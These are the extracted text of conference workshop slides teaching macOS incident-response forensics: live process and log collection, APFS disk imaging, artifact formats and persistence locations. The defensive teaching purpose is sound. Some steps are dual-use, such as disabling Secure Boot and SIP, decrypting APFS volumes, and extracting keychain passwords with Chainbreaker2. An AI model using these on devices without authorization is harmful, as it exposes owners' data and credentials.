Workshop:
An Introduction to macOS Forensics
with Open Source Software
Japan Security Analyst Conference 2022
Minoru Kobayashi
Internet Initiative Japan Inc.

Who am I?

Minoru Kobayashi•••

Office of Emergency Response and Clearinghouse for Security Information,
Advanced Security Division, Internet Initiative Japan Inc.
Technical research, internal incident response
External Activities
Security Camp National Conference Speaker 2017-2019
Japan Security Analyst Conference Speaker 2018/2020
Black Hat USA 2018 Briefing Speaker
Twitter: @unkn0wnbit
20

Introduction

3

Purpose of this workshop (1/2)◦ In this workshop we will:▪ Share the basic knowledge about macOS forensics▸macOS forensics process▸macOS forensics artifacts▪ Share forensics analysis know-how using mac_apt▸Point of view of investigation▸Analysis results of investigation targets▸Investigation methods (filtering conditions, etc.)▪ We will discuss methods using open source tools
whenever possible so that you can implement thedescribed approaches immediately.
4

Purpose of this workshop (2/2)◦ In this workshop we will not:▪ Explain the basic terms▪ Go through how to use mac_apt in detail▪ Explain the artifacts in detail▪ Distribute disk images▪ Perform memory forensics▪ Analyze macOS malware in detail▪ Go through M1 Mac-specific settings or operations

5

Reasons for using mac_apt◦ Development is ongoing.
◦ Various artifacts can be analyzed using more than 40 plugins.
◦ Disk images acquired using commercial products are also
supported.
◦ A new artifact can be easily supported by creating a new plugin.
◦ Analysis can be performed by just specifying the disk image andplugins.
◦ However, know-how to interpret the analysis results is notprovided.
◦ It is extremely wasteful not to use mac_apt, for which functions
adequate for practical use are implemented.
◦ Using OSS allows mac_apt to be deployed to the participants’analysis environment immediately.

6

Reasons why ma2tl is not used in the workshop◦ The timeline generated from ma2tl is not perfect.

▪ A tentative timeline for discussion to conduct forensics is to be generated.
▪ The range for generating a timeline is determined by the analyst.
▪ Cases where artifacts are not analyzed by mac_apt or where the analyst needs
more detailed investigation cannot be handled by ma2tl.

◦ Artifacts of macOS often change due to a version upgrade of
OS or applications (change of the file name, etc.).

▪ mac_apt often fails to acquire information.
▪ To be aware of and verify such changes, in addition to information output by
analysis tools, knowledge about the location and format in which each artifact
is stored is required.

7

Table of Contents (1/3)

1. Basic process of macOS forensics
2. Important file formats in macOS forensics
3. Artifact analysis tools
4. Hands-on scenario and goal
5. Exercise 1
6. Exercise 2
7. Exercise 38

Table of Contents (2/3)

7. Exercise 4
8. Exercise 5
9. Exercise 6
10. Discussion related to the constructionof the hands-on environment
11. Summary

9

Table of Contents (3/3)

13. Appendix 1: macOS forensic artifacts
14. Appendix 2: Example of disk image analysis
with The Sleuth Kit (TSK)
15. Appendix 3: Partition structure for each
macOS version
16. Appendix 4: macOS security framework101

Basic process of macOS forensics

11Basic process of macOS forensics◦ Information is acquired and analyzed at
the same priority as Windows and otherOSs.
◦ Basic procedure for computer forensics
1.
2.
3.
4.
5.

Acquisition and analysis of highly volatile information
Acquisition of artifact files
Acquisition of disk images
Analysis of artifact files
Analysis of disk images
12

1.1

Acquisition and analysis ofhighly volatile information13

Acquisition and analysis of highly volatile information (1/13)◦ Acquire the disk image▪ When using macOS 10.15.7 or earlier, a memory image can beacquired using OSXPmem.

▸https://github.com/Velocidex/c-aff4/releases/tag/1.0.rc2▸https://github.com/Velocidex/c-aff4/releases/tag/3.2▪ When using macOS 11 or later, tools with which a memory image
can be acquired are very limited.
▸OSXPmem is not supported.
▸Surge Collect Pro is supported by macOS 11 or later.
● https://www.volexity.com/products-overview/surge/● As of November 2021, there are no other tools that support memory image
acquisition.

▪ When using macOS 11 or later, a restart is required to install thedriver.
▸To acquire memory images without a restart, the driver needs to beinstalled in advance.

14

Acquisition and analysis of highly volatile information (2/13)◦ Dialog box prompting for a restart15

Acquisition and analysis of highly volatile information (3/13)◦ Analyze the memory images▪ There are few options for memory image analysis tools.
▪ Volatility is the only option.
▪ There are few plugins for macOS.
▪ In the first place, it seems there are few cases where memory
images that are valid for memory forensics can be acquired(due to a need for a restart).

◦ As such, memory images are not handled inthis workshop.
◦ Instead, I will introduce an approach to acquire
individual information including a process tree.
16

Acquisition and analysis of highly volatile information (4/13)◦ Acquire process information (1)▪ ps▸Similar to other UNIX OSs.
▸With information that can be acquired with the pscommand of macOS, a process tree as expected by the
analyst cannot be acquired.
▸The parent process ID of almost all processes will belaunchd (PID: 1).

17

Acquisition and analysis of highly volatile information (5/13)% ps -axo user,pid,ppid,start,time,command
USER
PID PPID STARTEDTIME COMMAND
The parent process ID of anroot
1
0 Thu09AM 22:22.02 /sbin/launchdroot
63
1 Thu09AM
0:15.08 /usr/sbin/syslogd
application run from Finder will be 1.
root
64
1 Thu09AM
1:24.58 /usr/libexec/UserEventAgent (System)root
67
1 Thu09AM
0:09.08 /System/Library/PrivateFrameworks/Uninstall.framework/Resources/uninstalld(snip)
macforensics
27752
1 5:15PM
0:14.37 /Applications/GitHub Desktop.app/Contents/MacOS/GitHub Desktop
macforensics
27756 27752 5:15PM
0:03.20 /Applications/GitHub Desktop.app/Contents/Frameworks/GitHub Desktop Helper(GPU).app/Contents/MacOS/GitHub Desktop Helper (GPU) --type=gpu-process --field-trial-handle=171837
The parent
ID of an application
macforensics
27758 27752 5:15PM
0:02.60 /Applications/GitHub Desktop.app/Contents/Frameworks/GitHub
Desktopprocess
Helper.app/Contents/MacOS/GitHub
Desktop Helper --type=utility --utility-sub-type=network.mojom.NetworkSer
run from Dock will also be 1.
macforensics
27759 27752 5:15PM
0:21.10 /Applications/GitHub Desktop.app/Contents/Frameworks/GitHub Desktop Helper(Renderer).app/Contents/MacOS/GitHub Desktop Helper (Renderer) --type=renderer --field-trial-handle(snip)
macforensics
66491
1 Mon08AM 20:17.50 /Applications/Firefox.app/Contents/MacOS/firefox -foregroundmacforensics
66492 66491 Mon08AM
0:06.37 /Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container -childID 1-isForBrowser -prefsLen 1 -prefMapSize 250879 -jsInitLen 278884 -sbSt
macforensics
66493 66491 Mon08AM
0:01.68 /Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container -childID 2-isForBrowser -prefsLen 5070 -prefMapSize 250879 -jsInitLen 278884 -s

18

Acquisition and analysis of highly volatile information (6/13)◦ Acquire process information (2)▪ By referring to the process information held by launchd,
you can get to know the true parent process.
▪ TrueTree▸https://themittenmac.com/the-truetree-concept/▸Create a process tree based on the information of launchd.
▸The latest version is 0.2.
● It operates normally on up to macOS 11.2.3.
▸For macOS 10.15, 11.3, or later, use version 0.1.
● With macOS 11, a complete process tree cannot be acquired.

19

Acquisition and analysis of highly volatile information (7/13)◦ Confirm information held by launchd% sudo launchctl procinfo 608
Password:
program path = /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
Could not print Mach info for pid 608: 0x5
argument count = 2
argument vector = {[0] = /Applications/Google Chrome.app/Contents/MacOS/Google Chrome[1] = -psn_0_208947}
environment vector = {USER => macforensics
MallocNanoZone => 0
COMMAND_MODE => unix2003
PATH => /usr/bin:/bin:/usr/sbin:/sbin
LOGNAME => macforensics
SSH_AUTH_SOCK => /private/tmp/com.apple.launchd.868a4OknWL/Listeners
HOME => /Users/macforensics
SHELL => /bin/zsh
TMPDIR => /var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/(snip)
com.apple.xpc.launchd.oneshot.0x10000004.Google Chrome = {active count = 7
Started from Spotlight.
copy count = 0
one shot = 1
path = (submitted by Spotlight.395)
state = running20

Acquisition and analysis of highly volatile information (8/13)◦ From TrueTree, confirm the same
information as that of the previous page.
% sudo ./TrueTree --timestamp --sources
The parent process of
Chrome is Spotlight.

21

Acquisition and analysis of highly volatileinformation (9/13)◦ Many of the programs that run◦

automatically exist under thefolder on the right.
In macOS 10.15 and later, thesystem volume and the data
volume are separated.

▪ The system volume is mounted as read▪

Excerpt f rom the ma2tl source code

In macOS 10.15 andlater, the system
volume is mounted asread only so it is lesslikely to be tampered.
(See Appendix 3)

System volume

only and is less likely to be tamperedwith.
In macOS 11 and later, the system
volume is also signed.

◦ Point of view of investigation▪ Whether or not the program is run froman unusual file path
▪ Whether or not the program start date

and time is close to the date and time of
the incident

Data volume
22

Acquisition and analysis of highly volatile information (10/13)◦ Acquire network connection information▪ netstat▸Similar to other UNIX OSs.
▪ Netiquette▸https://objective-see.com/products/netiquette.html▸Information on processes for communication (process
entitlement, signature, etc.)▸Name of the network interface for communication▸The IP address and host name can be acquired at once

23

Acquisition and analysis of highly volatile information (11/13)◦ Example of running Netiquette% /Applications/objective-see/Netiquette.app/Contents/MacOS/Netiquette -list -names -pretty -skipApple(snip){"process" : {Process performing"pid" : "66491",
communication"path" : "¥/Applications¥/Firefox.app¥/Contents¥/MacOS¥/firefox",(snip)"connections" : [{"remoteHostName" : "239.237.117.34.bc.googleusercontent.com","protocol" : "TCP","interface" : "en10",
Connection status"localAddress" : "192.168.11.2","state" : "Established","remotePort" : "443","localPort" : "64138","remoteAddress" : "34.117.237.239"},(snip)

24

Acquisition and analysis of highly volatile information (12/13)◦ Acquire Unified Logs
▪ New logging system adopted from macOS 10.12.
▪ Binary-based log, which is unlike the conventional text-basedlog.
▪ While almost all logs are recorded on the disk, some logs arerecorded only on memory.

▸https://www.crowdstrike.com/blog/how-to-leverage-apple-unifiedlog-for-incident-response/▪ Naturally, they are gone when you restart; it should be
handled as highly volatile information.

▸However, even if information is acquired, there is no analysis toolfor it so basically it must be checked visually.
25

Acquisition and analysis of highly volatile information (13/13)◦ Example of logs recorded only on memory▪ The following are logs on process start and end.
▪ A large amount of processes in the system is recorded.
▪ The retention period is very short (about 5 to 10 min).
▸tore% log show --info --debug --predicate 'eventMessage BEGINSWITH "UID:" OR eventMessage BEGINSWITH "PID:"' --start '2021-12-21 16:40:00' --end '2021-12-21
16:45:00'
Filtering the log data using "composedMessage BEGINSWITH "UID:" OR composedMessage BEGINSWITH "PID:""
Timestamp
ThreadType
Activity
PID
TTL
2021-12-21 16:43:28.173150+0900 0x31cc62
Info
0x0
102
0
opendirectoryd: [com.apple.opendirectoryd:session]
Start of GitHub Desktop PID: 45080,
Client: 'mdworker_shared', exited with 0 session(s), 0 node(s) and 0 active request(s)(snip)
2021-12-21 16:44:37.723764+0900 0x31cf14
Info
0x1527c01020
opendirectoryd: [com.apple.opendirectoryd:session] UID: 501,
EUID: 501, GID: 20, EGID: 20, PID: 45140, PROC: GitHub Desktop RPC: getpwuid, Module: SystemCache, rpc_version: 2, uid: 501(snip)
2021-12-21 16:44:42.757718+0900 0x31cf12
Info
0x0
102
0
opendirectoryd: [com.apple.opendirectoryd:session] PID: 45140,
Client: 'GitHub Desktop', exited with 0 session(s), 0 node(s) and 0 active request(s)(snip)End of GitHub Desktop
26

1.2

Acquisition of artifact files

27Acquisition of artifact files (1/2)◦ Acquire artifact files on the live system.

▪ macOS artifacts are scattered in various locations and their file names and▪

paths are often changed according to the OS version upgrade. Therefore, it isdesirable to use a tool to get them.
To prevent a collection of artifact files from being omitted, the tool to be usedshould be maintained on an ongoing basis.

◦ macOS Artifact Collector (macosac)▪ https://github.com/mnrkbys/macosac▪ https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_7_kobayashi_jp.pdf▪ Files protected by SIP cannot be acquired on the live system. Export such files
during disk image analysis, or use a tool that directly analyzes the disk image.
▪ Unlike NTFS, both HFS+ and APFS cannot access filesystem metadata as afile.

▪ SIP = System Integrity Protection▸A type of macOS security framework (See Appendix 4)28

Acquisition of artifact files (2/2)◦ Acquire the persistence setting and information on programs to
be started.

◦ KnockKnock▪ https://objective-see.com/products/knockknock.html▪ Tool corresponding to Windows Autoruns.
▸https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns▪ Signature verification of the program to be started, detection status on▪
▪
▪

VirusTotal, etc. can be referenced.
It is convenient as it allows you to quickly narrow down suspicious persistence
entries.
Recently, running a program that have been downloaded from the Internet
requires a code signature. As such, program resulting in error in signature
verification can be regarded as suspicious.
KnockKnock can also analyze Quicklook plugins, etc., which are not analyzed
by mac_apt.
29

Acquisition of artifact files (3/4)% /Applications/KnockKnock.app/Contents/MacOS/KnockKnock -whosthere -pretty > ~/Desktop/kkResults_sample.txt

30Acquisition of artifact files (4/4)% jq '.' kkResults_sample.txt(snip)"Login Items": [{"path": "/Applications/LuLu.app/Contents/MacOS/LuLu","hashes": {"md5": "E140C97A5D60B342D466BBE813971A06","sha1": "8D489231A242131974A307ABD5188A3614D265A7"
Status of detection by VirusTotal},"VT detection": "0/70","name": "LuLu","plist": "n/a","signature(s)": {"signatureIdentifier": "com.objective-see.lulu.app","signatureStatus": 0,"signatureSigner": 3,"signatureEntitlements": { Signature verification result"com.apple.developer.team-identifier": "VBG97UB4TA",
0 ="VBG97UB4TA.com.objective-see.lulu.app",
Success"com.apple.application-identifier":"com.apple.developer.networking.networkextension": ["content-filter-provider-systemextension"],"com.apple.security.application-groups": ["VBG97UB4TA.com.objective-see.lulu"],"com.apple.developer.system-extension.install": true},
"signatureAuthorities": ["Developer ID Application: Objective-See, LLC (VBG97UB4TA)","Developer ID Certification Authority","Apple Root CA"]}},(snip)

31

1.3

Acquisition of disk images

32

Acquisition of disk images (1/10)◦ Purpose of acquiring disk images▪ Extract files that are additionally needed.
▸Malware samples, etc.
▪ Acquire artifacts that cannot be acquired (as they areprotected by SIP) on the live system.

▸Quick Look cache files▸Master key for the encryption of a system key chain▪ Analyze unallocated space

33

Acquisition of disk images (2/10)◦ Need for decrypting APFS encrypted disk
images▪ Since APFS supports encryption at the filesystem level,
copying with a tool like dd leaves the image encrypted.
▪ Encrypted APFS disk images from Macs with T2 chip/M1
processor cannot be decrypted on other computers. This isbecause they require the encryption keys stored in thosechip/processor.

◦ A tool that allows the Mac device in question to
be started from an external media and the disk
image to be decrypted when it is acquired isnecessary.
34

Acquisition of disk images (3/10)◦ Prepare for acquiring the disk image▪ Startup Security Utility settings in the recovery mode
are required.
▪ Secure Boot

▸Select “No Security”.
▪ Allowed Boot Media▸Select “Allow booting from external or removable media”.

35Acquisition of disk images (4/10)◦ Cellebrite Digital Collector▪ Commercial product (formerly, MacQuisition)▪ By booting with a dongle, decrypted APFS disk images canbe acquired.

▸Intel Macs
▸M1 Macs (supported in version 3.3)

▪ However, the encryption flag still remains to be set, even if
the decrypted APFS disk images are acquired.

▸https://twitter.com/unkn0wnbit/status/1254971428606107648▪ As a result, it is regarded as an erroneous APFS disk image
and cannot be analyzed using unsupported tools.
▪ AFF4 is the only format that can be specified for decrypteddisk images.

36Acquisition of disk images (5/10)◦ AFF4 (The Advanced Forensics File Format 4)▪ A format developed for forensics. It is a minor file format as there isalmost no tool, except some commercial products, that supports theformat.
▪ Although a pull request to support AFF4 has been submitted to TSK,
it has yet to be merged.

▸https://github.com/sleuthkit/sleuthkit/pull/1272▪ Only libraries and simple implementations are released in the GitHub
repository for AFF4.

▸https://github.com/aff4/pyaff4▸https://github.com/aff4/aff4-cpp-lite▪ It has already been confirmed that a raw disk image can be extracted
from the AFF4 disk image created on Digital Collector using AFF4
CPP Light v2.0.
37Acquisition of disk images (6/10)◦ AFF4 CPP Light v2.0
▪ Modification for compiling on macOS
aff4-cpp-lite/blob/master/src/AFF4Containers.cc : 129th line
int fileHandle = ::open(filename.c_str(), O_RDONLY | O_LARGEFILE);↓
int fileHandle = ::open(filename.c_str(), O_RDONLY);
aff4-cpp-lite/blob/master/src/AFF4Containers.cc : 137th line
int read = ::pread64(fileHandle, buffer.get(), AFF4_RESOURCE_BUFFER_SIZE, 0);↓
int read = ::pread(fileHandle, buffer.get(), AFF4_RESOURCE_BUFFER_SIZE, 0);▪ Compile▸All necessary commands and libraries are already installed with brew.
% git clone https://github.com/aff4/aff4-cpp-lite.git% cd aff4-cpp-lite% ./autogen.sh% ./configure CC=clang CXX=clang++ CXXFLAGS="-std=c++11 -stdlib=libc++ -O2 -g0 -I/usr/local/opt/openssl@1.1/include" LDFLAGS="stdlib=libc++ -L/usr/local/lib -L/usr/local/opt/openssl@1.1/lib" SSL_CFLAGS="-I/usr/local/opt/openssl@1.1/include" SSL_LIBS="L/usr/local/opt/openssl@1.1/lib" LIBS="-lcrypto" --prefix=/usr/local/aff4-cpp-lite% make38

Acquisition of disk images (7/10)◦ macOS_FE (1)▪ Approach that should be said is the macOS version of WinFE.
▸https://github.com/ydkhatri/Presentations/blob/master/macOS%20Forensics▸-MUS2020.pdf
Although the above is explained in macOS 10.15, it has been confirmedthat disk images can be acquired using the same approach in macOS 11.6.

▪ Boot the Mac from the USB thumb drive or portable SSD with
macOS installed and acquire the disk image.

▸SIP must be disabled in advance using csrutil in recovery mode.
▸SSD is recommended in terms of speed issues.

▪ Standard tools and commands can be used. Also, driver compatibility
issues do not arise.

▸Third-party tools can also be installed.
39

Acquisition of disk images (8/10)◦ macOS_FE (2)▪ NoMountDaemon▸https://github.com/ydkhatri/macOS_FE/tree/master/NoMou
ntDaemon▸NoMountDaemon prevents macOS from automaticallymounting the internal drives when it is booted from anexternal storage.
▸The operation has already been confirmed also on macOS
11.6.
▸Since NoMountDaemon uses Disk Arbitration Framework,
it is considered to function as long as macOS supports thisframework.
40

Acquisition of disk images (9/10)◦ macOS_FE (3)▪ Acquire the disk image using the asr command.
▸The command is used in a similar way as dd.
▸The APFS encrypted volume can be decrypted andcopied.
● An unlock is required before acquiring the disk image.
▸Unlike Digital Collector, the encryption flag is removed.
▸However, unallocated space and local snapshots will not
be copied.
% sudo launchctl unload /System/Library/LaunchDaemons/com.apple.revisiond.plist% hdiutil create –fs apfs –size 500GB evidence.dmg →Run after connecting to the drive to store disk images.
% sudo hdiutil attach –nomount evidence.dmg% diskutil apfs unlockVolume disk1s1 –nomount →The APFS encrypted volume is unlocked.
% sudo asr restore --source /dev/disk1 --target /dev/disk5 --debug --erase --verbose

41

Acquisition of disk images (10/10)◦ macOS_FE (4)▪ A disk image acquired using the asr command is notcompressed. It is therefore necessary to prepare atleast the same capacity of storage as the original forsaving the disk image.
% sudo hexdump -C /dev/disk5 | fgrep Hopper
36045a20 00 00 01 00 18 00 04 02 11 00 48 6f 70 70 65 72
37a0f350 11 48 6f 70 70 65 72 20 53 63 72 69 70 74 2e 74
37a14790 36 48 6f 70 70 65 72 53 63 72 69 70 74 2e 74 74
37a31710 ff ff ff 9f 23 50 f4 f7 48 6f 70 70 65 72 20 53
37a855d0 02 22 00 48 6f 70 70 65 72 53 63 72 69 70 74 2e
37a856c0 00 00 01 00 20 00 04 02 1e 00 48 6f 70 70 65 72
37a857b0 00 01 00 28 00 04 02 23 00 48 6f 70 70 65 72 20
37a858b0 48 6f 70 70 65 72 20 53 63 72 69 70 74 2e 74 74^C% sudo hexdump -C /dev/disk1 | fgrep Hopper^C|..........Hopper||.Hopper Script.t||6HopperScript.tt||....#P..Hopper S||.".HopperScript.||.... .....Hopper||...(...#.Hopper ||Hopper Script.tt|

Plaintext is seen on the copy
destination disk.

Even if you search for the same
string in the copy source, it will
not be found.
42

1.4

Analysis of artifact files

43Analysis of artifact files◦ Check the results of the analysis tool
▪ When investigating malware infections, first check theprocess tree and persistence settings, program
execution history, etc.

◦ An example of analysis tools is
described later.
◦ See Appendix 1 for the description of
artifacts.
44

1.5

Analysis of disk images

45

Analysis of disk images (1/2)◦ Issues in the analysis of decrypted APFS disk
images acquired using Digital Collector▪ There are very few tools supporting AFF4.
▪ It is necessary to analyze decrypted APFS volumes byignoring the encryption flag.
▪ Since there are no tools that can mount such disk images as
APFS volumes, tools that assume disk images to be mounted
cannot analyze them.

◦ These issues are not relevant to decrypted

APFS encrypted disk images that are acquired
using macOS_FE.
46

Analysis of disk images (2/2)◦ Tools that support disk images acquired using Digital
Collector◦ Commercial products▪ Cellebrite Inspector▪ Magnet Forensics AXIOM◦ Open source software▪ mac_apt▸Cannot analyze APFS snapshots.
▪ The Sleuth Kit (TSK)▸Analysis can be performed by ignoring the encryption flag.
▸Cannot analyze AFF4 directly, so conversion to RAW or E01 is required.
▸See Appendix 2 for access examples with TSK.
47

Example of disk image analysis with mac_apt◦ Specify the disk image to be analyzed
and the plugins to be used.

Name of the disk image
file to be analyzed.

% python ./mac_apt.py -o ../mac_apt_out/test_image/ -d DMG data.dmg ALL
Output path was : /Users/macforensics/Documents/GitHub/forked/mac_apt_out/test_image
MAIN-INFO-Started macOS Artifact Parsing Tool, version 1.4.6.dev (20211024)
MAIN-INFO-Dates and times are in UTC unless the specific artifact being
savestoit
local
Nameparsedof plugins
beasused
for time!
analysis
MAIN-INFO-Python version = 3.9.9 (main, Nov 21 2021, 03:23:42)
ALL: All plugins[Clang 13.0.0 (clang-1300.0.29.3)]
FAST: All plugins, except Unified Logs and Spotlight
MAIN-INFO-Pytsk version = 20170801
MAIN-INFO-Pyewf version = 20140807
MAIN-INFO-Pyvmdk version = 20181227
MAIN-INFO-PyAFF4 version = 0.31
MAIN-INFO-Opened image /Volumes/macOS-FE/Users/macosfe/Documents/test_image/data.dmg
MAIN-INFO-Looking at FS with volume label 'disk image' @ offset 209735680
MAIN-INFO-Found an APFS container with uuid: 2FC5F464-F43A-4672-935D-1EBDE0F725FE
MAIN-INFO-Reading APFS volumes from container, this may take a few minutes ...
(snip)

48

2

Important file formats inmacOS forensics

49

Important file formats in macOS forensics (1/5)◦ Almost all artifact files of macOS are
either of the following two:
▪ Property List (plist)▪ SQLite◦ Both of them are standard file formats
and data reference itself is easy.

50Important file formats in macOS forensics (2/5)◦ Property List (plist)▪ plist exists since the NeXTSTEP era.
▪ Mac OS X 10.0: XML format▪ Mac OS X 10.2: Binary format is adopted.
▸Mac OS X 10.4 or later, the binary format is used by default.
▪ The file is often used for saving data, including settings ofapplications, etc., history of files opened, and Bookmark
structure (corresponds to Windows LNK).
▪ The file corresponds to Windows registry. However, it iscreated for each application and purpose, it is scattered invarious locations in the filesystem.
51

Important file formats in macOS forensics (3/5)◦ Example of the Property List file (Dock settings)% plutil -p ~/Library/Preferences/com.apple.dock.plist{"last-analytics-stamp" => [0 => 661309697.920567]"last-messagetrace-stamp" => 652487714.566655"loc" => "ja_JP:JP""mod-count" => 2354
"persistent-apps" => [0 => {"GUID" => 2837758940"tile-data" => {"book" => {length = 592, bytes = 0x626f6f6b 50020000 00000410 30000000 ... 04000000 00000000 }"bundle-identifier" => "com.apple.siri.launcher""dock-extra" => 0
"file-data" => {"_CFURLString" => "file:///System/Applications/Siri.app/""_CFURLStringType" => 15}"file-label" => "Siri""file-mod-date" => 3670014440"file-type" => 169"parent-mod-date" => 3673467070}"tile-type" => "file-tile"}
1 => {"GUID" => 3389811420"tile-data" => {"book" => {length = 556, bytes = 0x626f6f6b 2c020000 00000410 30000000 ... 04000000 00000000 }"bundle-identifier" => "com.apple.Safari"52

Important file formats in macOS forensics (4/5)◦ SQLite▪ Like plist, SQLite is used for the purpose of saving thesettings of applications, history, etc.
▪ The file is also used to save statistical data, URLs, blobof sent and received data, plist in the binary format,
and so on.

53Important file formats in macOS forensics (5/5)◦ Example of an SQLite file (CFURL Cache)▪ CFURL Cache manages cache when accessing via
HTTP or HTTPS with the NSURLRequest API.

▸Cache is managed for each application.

Application bundle ID▪ ~/Library/Caches/com.apple.osascript/cache.db

54

3

Artifact analysis tools55Artifact analysis tools (1/3)◦ I will introduce some typical artifact
analysis tools used for macOS forensics.
◦ It is important that a tool that ismaintained continuously be selected foranalysis.

56

Artifact analysis tools (2/3)◦ Example of comprehensive analysis tools▪ mac_apt▸https://github.com/ydkhatri/mac_apt▸Over 40 plugins.
▸Supports individual artifact files, and disk images acquired using commercial products.
▸Analysis can be performed without mounting a disk image.
▸Maintenance is active.
▪ AutoMacTC▸https://github.com/CrowdStrike/automactc▸26 plugins.
▸Maintenance is stagnant.
▪ APOLLO▸https://github.com/mac4n6/apollo▸Analyzes databases that mainly records statistical information.
▸Maintenance is stagnant.
57

Artifact analysis tools (3/3)◦ Example of individual analysis tools▪ DSStoreParser▸https://github.com/mnrkbys/DSStoreParser/tree/fix_bug_non-ascii▸Analyzes the “.DS_Store”, which corresponds to Windows $I30.
▸File names in the folders are recorded.
▸In .DS_Store of "Trash", the folder path before the file was deleted is also
recorded.

▪ Chainbreaker2▸https://github.com/n0fate/chainbreaker▸Analyzes Wi-Fi access points, application passwords, website accounts and▸▸passwords.
Encryption is performed at the file level separately from the filesystem andso the master key is required for decryption.
The file in which the master key is stored is protected by SIP.
58

4

Hands-on scenario and goal59

Confirmation of data to be distributed◦ Files included in the data to be distributed▪ mac_apt folder▸mac_apt.db: Analysis results of mac_apt▸UnifiedLogs.db: Parsed Unified Logs
▸APFS_Volumes_<GUID>.db: Parsed APFS metadata▪ json folder▸Results of the tool used for dynamic analysis of malware▪ scripts folder▸Trivial scripts used for analysis▪ exported_files folder▸Suspicious files exported from the disk image
60

Hands-on scenario and goal (1/2)◦ Scenario▪ A Mac device of a certain company was infected withmalware.

▸User name: macforensics▪ Thanks to the prompt detection and response by the
security operator, a disk image of the computer inquestion has already been acquired.
▪ Analysis with KnockKnock has been completed.
▪ Analysis of the disk image with mac_apt has also been
completed.
61

Hands-on scenario and goal (2/2)◦ Goal▪ Create a forensic timeline from the analysis results of
mac_apt to estimate the malware behavior and thecause of infection.

◦ Precautions when carrying out hands-on
activities▪ Always take notes on activities and timestamps foundin the course of the investigation.
▪ Example of notes on timelines
2021-12-24 23:00:13 [File Download] https://malware.example/download/FakeApp.dmg
2021-12-24 23:15:30 [Program Execution] /Volumes/Suspicious Volume/Suspicious App

62

Investigation policy◦ Since malware often configures autorun,
analyze persistence as a clue for theinvestigation.
◦ Investigate activities before and after themalware infection based on the timestamps inpersistence files.
◦ When a sample is found, analyze therelationship with persistence.
▪ If there is more than one suspicious sample, also analyze therelationship between them.

◦ Investigate the cause of malware infection.

63

Tools used for analysis (1/6)◦ DB Browser for SQLite▪ https://sqlitebrowser.org/▪ The analysis results of mac_apt is stored in the SQLite
database by default.
▪ Unified Logs and APFS are also exported in the SQLite
format.
▪ Filtering can be done easily.
▪ SQL queries can also be used.

64Tools used for analysis (2/6)
Browse Data
Select a table

Column name and filtering settings65Tools used for analysis (3/6)
Execute SQL
Execute SQLSQL query input area

SQL query results

66Tools used for analysis (4/6)◦ jq▪ https://stedolan.github.io/jq/▪ jq allows JSON data to be formatted and filtered.
▪ KnockKnock, ProcessMonitor, and FileMonitor output
results in the JSON format.

67

Tools used for analysis (5/6)◦ How to use jq (1)▪ Sample data{
"event" : "ES_EVENT_TYPE_NOTIFY_FORK","process" : {"uid" : 501, "arguments" : [], "ppid" : 507, "ancestors" : [339,1], "rpid" : 0, "architecture" :"Intel", "path" : "/bin/zsh", "name" : "zsh", "pid" : 735},"timestamp" : "2021-08-11 06:05:25 +0000"}{"event" : "ES_EVENT_TYPE_NOTIFY_EXEC","process" : {"uid" : 501, "arguments" : ["sudo","./FileMonitor","-pretty"], "ppid" : 507, "ancestors" :[339,1], "rpid" : 0, "architecture" : "Intel", "path" : "/usr/bin/sudo", "name" : "sudo", "pid" : 735},"timestamp" : "2021-08-11 06:05:25 +0000"}

68

Tools used for analysis (6/6)◦ How to use jq (2)▪ Filter entries with the path containing “sudo”% jq '. | select(.process.path | contains("sudo"))' procmon_simple.json{"event": "ES_EVENT_TYPE_NOTIFY_EXEC","process": {Entries not containing “sudo” are filtered.
"uid": 501,
"arguments": ['. | select(.process.path | contains("sudo") | not)'"sudo","./FileMonitor","-pretty"],"ppid": 507,
Entries with PID=735 are filtered.
"ancestors": [339,'. | select(.process.pid == 735)'1],"rpid": 0,"architecture": "Intel","path": "/usr/bin/sudo","name": "sudo","pid": 735},"timestamp": "2021-08-11 06:05:25 +0000"
}

69

5

Exercise 1: Persistence investigation

70

Purpose of persistence investigation◦ Most malware takes advantage of the OS
autorun mechanism to execute themselves after
a computer restart.
◦ There are limited options for setting up autorun.
▪ Malware program files can be placed in any file path.
▪ However, the types of autorun mechanisms are limited andeasy to find.

◦ We will investigate the metadata (timestamps)of persistence files and autorun programs andcreate the initial timeline.
71

5.1

Artifacts in persistence files72Artifacts in persistence files (1/4)◦ KnockKnock run results▪ More persistence files can be analyzed than using
mac_apt.

▸KnockKnock operates only on the live system.
▪ Status of detection by VirusTotal can be checked.
▸Samples not analyzed by VirusTotal can be submitted.
▪ Signature verification of programs to be run can be
performed.
▪ Run results can be stored in the JSON format, whichmakes it easy to process in the script.
73

Artifacts in persistence files (2/4)◦ Launch Daemon/Agents▪ Launch Daemon/Agents runs programs according to the setting file(plist) stored in a certain folder when the OS starts.
▪ It is often used for malware.
▪ The folder to save the file varies depending on the developer.
▪ Apple▸/System/Library/LaunchDaemons/▸/System/Library/LaunchAgents/▪ Third-parties▸/Library/LaunchDaemons/▸/Library/LaunchAgents/▪ Users▸~/Library/LaunchAgents/

74Artifacts in persistence files (3/4)◦ Example Microsoft AutoUpdate setting▪ Microsoft AutoUpdate used for auto update of Microsoft
Office, etc.
% plutil -p /Library/LaunchAgents/com.microsoft.update.agent.plist{"Disabled" => 0
"Label" => "com.microsoft.update.agent""MachServices" => {"com.microsoft.update.xpc" => 1
Program to be run automatically}"ProgramArguments" => [0 => "/Library/Application Support/Microsoft/MAU2.0/Microsoft
AutoUpdate.app/Contents/MacOS/Microsoft Update Assistant.app/Contents/MacOS/Microsoft Update Assistant"
1 => "--launchByAgent"]"RunAtLoad" => 1
"StartInterval" => 7200}

75

Artifacts in persistence files (4/4)◦ Login Items▪ Executes the programs when the user logs in.
▪ It is often used for malware.
▪ macOS 10.12 or earlier▸~/Library/Preferences/com.apple.loginitems.plist▪ macOS 10.13 or later▸~/Library/Application
Support/com.apple.backgroundtaskmanagementagent/bac
kgrounditems.btm

76Artifacts in file metadata (1/4)◦ Spotlight▪ Spotlight is a macOS search system.
▪ It stores the following metadata.
▸Applications run via Spotlight and searched words▸File MACB timestamps (separately managed from those managed
by the filesystem)▸Timestamps of the last time when files were used
▸History of dates when files were used
